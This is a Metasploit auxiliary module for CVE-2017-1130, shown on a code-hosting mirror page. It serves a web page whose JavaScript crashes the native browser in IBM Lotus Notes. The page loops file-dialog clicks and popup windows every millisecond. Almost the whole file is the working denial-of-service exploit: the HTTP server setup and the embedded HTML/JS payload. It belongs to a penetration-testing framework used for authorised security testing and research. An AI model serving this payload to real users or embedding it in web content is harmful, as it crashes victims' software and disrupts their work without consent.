CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
 Path: blob/master/modules/auxiliary/dos/http/ibm_lotus_notes2.rb
Views: 11784
1
##

2
# This module requires Metasploit: https://metasploit.com/download

3
# Current source: https://github.com/rapid7/metasploit-framework

4
##

5


6
class MetasploitModule < Msf::Auxiliary

7
  include Msf::Exploit::Remote::HttpServer

8


9
  def initialize(info = {})

10
    super(

11
      update_info(

12
        info,

13
        'Name'           => "IBM Notes Denial Of Service",

14
        'Description'    => %q(

15
          This module exploits a vulnerability in the native browser that comes with IBM Lotus Notes.

16
          If successful, the browser will crash after viewing the webpage.

17
        ),

18
        'License'        => MSF_LICENSE,

19
        'Author'         => [

20
          'Dhiraj Mishra',

21
        ],

22
        'References'     => [

23
          ['EDB', '42604'],

24
          [ 'CVE', '2017-1130' ]

25
        ],

26
        'DisclosureDate' => '2017-08-31',

27
        'Actions'        => [[ 'WebServer', 'Description' => 'Serve exploit via web server' ]],

28
        'PassiveActions' => [ 'WebServer' ],

29
        'DefaultAction'  => 'WebServer'

30
      )

31
    )

32
  end

33


34
  def run

35
    exploit # start http server

36
  end

37


38
  def setup

39
    @html = %|

40
<html><body>

41
<input type="file" id="f">

42
<script>

43
var w;

44
var kins = {};

45
var i = 1;

46
f.click();

47
setInterval("f.click()", 1);

48
setInterval(function(){

49
          for (var k in kins) {

50
          if (kins[k] && kins[k].status === undefined) {

51
          kins[k].close();

52
          delete kins[k];

53
           }

54
         }

55
        w = open('data:text/html,<input type="file" id="f"><script>f.click();setInterval("f.click()", 1);<\\/script>');

56
        if (w) {

57
                kins[i] = w;

58
                i++;

59
        }

60
}, 1);

61
</script>

62
</body></html>

63
    |

64
  end

65


66
  def on_request_uri(cli, _request)

67
    print_status('Sending response')

68
    send_response(cli, @html)

69
  end

70
end

71


72